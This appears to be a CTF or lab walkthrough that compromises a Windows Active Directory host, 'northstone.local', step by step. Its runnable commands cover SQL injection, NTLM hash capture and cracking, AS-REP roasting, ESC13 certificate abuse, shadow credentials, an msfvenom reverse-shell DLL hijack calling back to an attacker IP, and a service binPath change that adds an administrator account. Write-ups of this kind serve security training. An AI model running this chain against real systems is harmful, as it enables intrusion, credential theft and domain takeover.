nmap 192.168.178.100 -A -Pn 

carbon (3).png

Pasted image 20260619184257.png
This is a completely static HTML page nothing to do here.
Let's search for subdomains.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://northstone.local -H 'Host: FUZZ.northstone.local' -fl 563 -t 100

we got a hit
Pasted image 20260619192306.png

let's add testsql.northstone.local to /etc/hosts and start enumerating.

Pasted image 20260619192425.png

Let's check for sqli here by putting ' in the search box and surprisingly it's vulnerable and it also dumps the creds along with the error.

Pasted image 20260619192731.png

Let's try these creds

nxc mssql 192.168.178.100 -u 'webapp' -p 'WebPass123!' --local-auth

Pasted image 20260619192943.png

Let's access the mssql server and enumerate it.

mssqlclient.py webapp:'WebPass123!'@192.168.178.100

nothing special privileges on this user. Then I checked for linked servers and got a few.

Pasted image 20260619194124.png

enumerated the privileges of our user here too but nothing good came out, so final thing I thought was of capturing the creds using the xp_dirtree, started responder on my attack machine and ran the xp_dirtree command and luckily I got the hash for sql_backup user.

sudo responder -I tun0
xp_dirtree \\10.8.0.2\share\

Pasted image 20260619194343.png

Pasted image 20260619194417.png

Let's crack this hash that we received using hashcat.

hashcat -m 5600 sv_backup.hash /usr/share/wordlists/rockyou.txt

Pasted image 20260619194705.png

We successfully cracked the hash and got the creds for svc_backup let's check these creds.

nxc smb 192.168.178.100 -u 'svc_backup' -p 'sql0v3-u' --shares

Pasted image 20260619195131.png

This is a valid domain cred let's use this to enumerate using bloodhound.

bloodhound-ce-python -u 'svc_backup' -p 'sql0v3-u' -d 'northstone.local' -dc dc.northstone.local -ns 192.168.178.100 -c all --zip

Nothing useful in bloodhound with current user, so let's try ASREProasting and kerberoasting.

Pasted image 20260619210003.png

GetNPUsers.py northstone.local/svc_backup:'sql0v3-u' -dc-ip 192.168.178.100 -request

Pasted image 20260619210027.png

ASREProasting worked and we got the hash, let's try to crack this hash.

hashcat -m 18200 mcgill.hash /usr/share/wordlists/rockyou.txt

Pasted image 20260619210355.png

we got the creds for c.mcgill :chuck102213
Checking in Bloodhound we don't get anything important for this user too. So, let's try to enumerate using bloody-ad.

bloodyAD --host 192.168.178.100 -d northstone.local -u c.mcgill -p 'chuck102213' get writable

We got that c.mcgill has write privileges over tony dalton user.

Pasted image 20260619213146.png

It doesn't tell us what attribute we can change, let's enumerate more for what can we change. To do this we pull up the complete ACE list on t.dalton object.

bloodyAD --host 192.168.178.100 -d northstone.local -u c.mcgill -p 'chuck102213' get object t.dalton --resolve-sd

carbon (4).png

We got the thing we were looking for :-

Pasted image 20260619214727.png

We can flip the DONT_REQ_PREAUTH UAC flag on t.dalton, which disables Kerberos pre-authentication making the account AS-REProastable.

bloodyAD --host 192.168.178.100 -d northstone.local -u c.mcgill -p 'chuck102213' set object t.dalton userAccountControl -v 4260352

Pasted image 20260619214840.png

We changed the UAC. Now lets get the hash.

GetNPUsers.py northstone.local/svc_backup:'sql0v3-u' -dc-ip 192.168.178.100 -request

Pasted image 20260619214944.png

We can see that we get the creds for the t.dalton user, now let's crack this hash.

hashcat -m 18200 dalton.hash /usr/share/wordlists/rockyou.txt

Pasted image 20260619215107.png

We get the creds for t.dalton : 123tonyd

Now in bloodhound we can see that t.dalton is a member of certificate enrollment users group
Pasted image 20260619215757.png

Let's run certipy to check if there exists any ESC vulnerabitlity.

certipy-ad find -u 't.dalton' -p '123tonyd' -dc-ip 192.168.178.100 -vulnerable --debug

carbon (5).png

Certipy ran and it tells us that the machine is vulnerable to ESC13 vulnerabtility.

ESC13 confirmed. The TemporaryWinRM template's issuance policy is linked to the TempWinRMAccess group, and t.dalton already has enrollment rights via Certificate Enrollment Users. When you request this cert, PKINIT authentication with it will grant the linked group's membership (and presumably WinRM access) regardless of t.dalton's actual AD group membership.

Step 1:- request the certificate

certipy req -u 't.dalton' -p '123tonyd' -ca NORTHSTONE-CA -template TemporaryWinRM -dc-ip 192.168.178.100

Pasted image 20260619220746.png

Step 2:- authenticate with the cert via PKINIT to get a TGT and NT hash

certipy-ad auth -pfx t.dalton.pfx -dc-ip 192.168.178.100

Pasted image 20260619220759.png

let's winrm using the ticket we got.

evil-winrm -i DC.northstone.local -r northstone.local -u t.dalton -K /home/kali/northstone/t.dalton.ccache

Pasted image 20260620012018.png

we successfully got the shell, in desktop folder we find an email

Pasted image 20260620012051.png

this tells us about some update checker program running and is missing a dll which indicates us dll hijacking scenario, but first let's find the vulnerable program. We ran winpeas and found an installed update checker program at C:\Program Files\WindowsUpdateChecker

Pasted image 20260620012325.png

going there we find an executable and a modules folder
Pasted image 20260620012651.png

Let's transfer it to our local machine to examine it

Pasted image 20260620012818.png

we can see this is a .NET binary. So, I used ilspy for decompiling this

ilspycmd vuln.exe -o /home/kali/northstone/decompiled/ -p

this gave us the decompiled code and we found the name of the dll that the executable was loading wuaclt.dll

carbon (6).png

Now, to hijack this dll I used msfvenom to create a malicious dll so that it gives me reverse shell and started a listener on my machine.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.2 LPORT=4444 -f dll -o wuaclt.dll

Once i got the dll i uploaded it in the modules folder and waited and got the reverse shell.

Pasted image 20260620004429.png

Let's enumerate this c.white user, we get to know that it is a part of database backup group.

Pasted image 20260620030942.png
Let's gather more information about this group

 net group "Database Backup Operators" /domain

Pasted image 20260620031047.png

The comment is referring to some .bak file, let's enumerate the system for the backup file.

Get-ChildItem -Path C:\ -Recurse -Filter "*.bak" -ErrorAction SilentlyContinue | Select-Object FullName, Length, LastWriteTime

Pasted image 20260620031209.png

We can see wee have the backup of the NorthStoneDB we saw earlier in the mssql server earlier, lets bring this to our local machine and access it there. Let's start a smb share and transfer this to our local machine.

smbserver.py share /home/kali/northstone -smb2support -username test -password test123 
 net use \\10.8.0.2\share /user:test test123
copy "C:\BackupDB\NorthStoneDB.bak" \\10.8.0.2\share\

Since we already pulled NorthStoneDB.bak over to our machine earlier, just we will restore it on our own local SQL Server where we have full sa control:

docker run -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD='YourStr0ngP4ssw0rd' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2019-latest
docker cp NorthStoneDB.bak 4653a311eeff:/var/opt/mssql/data/
mssqlclient.py sa:'YourStr0ngP4ssw0rd'@127.0.0.1
RESTORE FILELISTONLY FROM DISK = '/var/opt/mssql/data/NorthStoneDB.bak';

Pasted image 20260620013445.png

RESTORE DATABASE NorthStoneDB FROM DISK = '/var/opt/mssql/data/NorthStoneDB.bak' WITH MOVE 'NorthStoneDB' TO '/var/opt/mssql/data/NorthStoneDB.mdf', MOVE 'NorthStoneDB_log' TO '/var/opt/mssql/data/NorthStoneDB_log.ldf';

Pasted image 20260620013524.png

SELECT name FROM NorthStoneDB.sys.tables;

Pasted image 20260620013552.png

SELECT * FROM NorthStoneDB.dbo.auth_test_users;

Pasted image 20260620013619.png

Let's test these creds using nxc, we can see that j.sullivan's creds didn't work but k.bennett's worked, so let's look for this user in the bloodhound.
Pasted image 20260620032039.png

Pasted image 20260620032141.png

k.bennett has ForceChangePassword on three users, of these users r.parker is the way forward as this user has GenericWrite over three other users.
Pasted image 20260620032256.png

So, let's first change password for r.parker:-

bloodyAD --host 192.168.178.100 -d northstone.local -u k.bennett -p 'B#8tL!2qPz@6YxM' set password r.parker 'NewP@ss123!'

Pasted image 20260620032353.png

after this I tried kerberoasting on the l.turner user but it failed, as the hash of l.tuner wasn't crackable. So, I moved on to try Shadow Credential Attack.

python3 pywhisker.py -d northstone.local -u r.parker -p 'NewP@ss123!' --target l.turner --action add --dc-ip 192.168.178.100

This adds a msDS-KeyCredentialLink entry (an attacker-controlled certificate) to l.turner's account and outputs a .pfx file with its password.

Pasted image 20260620032826.png

Then use that cert to request a TGT and recover the NT hash via Certipy's auth command

certipy-ad auth -pfx 7SYtiVCE.pfx -dc-ip 192.168.178.100 -username l.turner -domain northstone.local -password 'MZXDKdlpmENNxX6K7KNQ'

Pasted image 20260620032926.png

We got the NTLM hash let's try to get winrm as l.turner as he was in Windows Remote Management Group.

evil-winrm -i 192.168.178.100 -u l.turner -H 59c717e891bebfce8cab55d4d50751eb

Pasted image 20260620033043.png

Print Service Operators group made me feel happy but the SeLoadDriverPrivilege was missing. So, let's run winpeas and check what can we do.

I got a something juicy in the winpeas output here

Pasted image 20260620033342.png

we can create files here, inside this directory there was printer.exe executable. Let's do a registry enumeration of the binary:-

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
  $img = (Get-ItemProperty $_.PSPath -Name ImagePath -ErrorAction SilentlyContinue).ImagePath
  if ($img -like "*printer.exe*") { "$($_.PSChildName): $img" }
}

Pasted image 20260620033824.png

Through this we were able to map the binary to the running service which is PrintNotifyService.

Let's see the level of privilege which this service has:-

sc.exe qc PrintNotifyService

Pasted image 20260620034036.png

A real jackpot it runs as LocalSystem

Checking l.turners privileges over this service.

sc.exe sdshow PrintNotifyService

Pasted image 20260620034228.png

The SDDL shows KA (Key/Generic All — full control) granted directly to the Print Services Operators SID — identical rights to SY (SYSTEM) and BA (Administrators). This is a misconfigured Service DACL: a non-privileged group was given full control over the SCM object for a service that runs as SYSTEM. This is the actual root cause vulnerability — distinct from (and more powerful than) the file-level Modify permission, since WRITE_DAC/full control on the service object includes the right to reconfigure its binary path (WRITE_DACL/CHANGE_CONFIG), independent of file-level ACLs on the executable.

Since the service-level ACL grants full control, the binPath can be reconfigured directly:

sc.exe config PrintNotifyService binPath= "cmd.exe /c net user pwned Passw0rd123! /add && net localgroup Administrators pwned /add"
sc.exe start PrintNotifyService
net user pwned

Pasted image 20260620034454.png

We can see that new local Administrator account created via a SYSTEM-context process.

Let's authenticate as this new admin.

evil-winrm -i 192.168.178.100 -u pwned -p 'Passw0rd123!'

Pasted image 20260620034631.png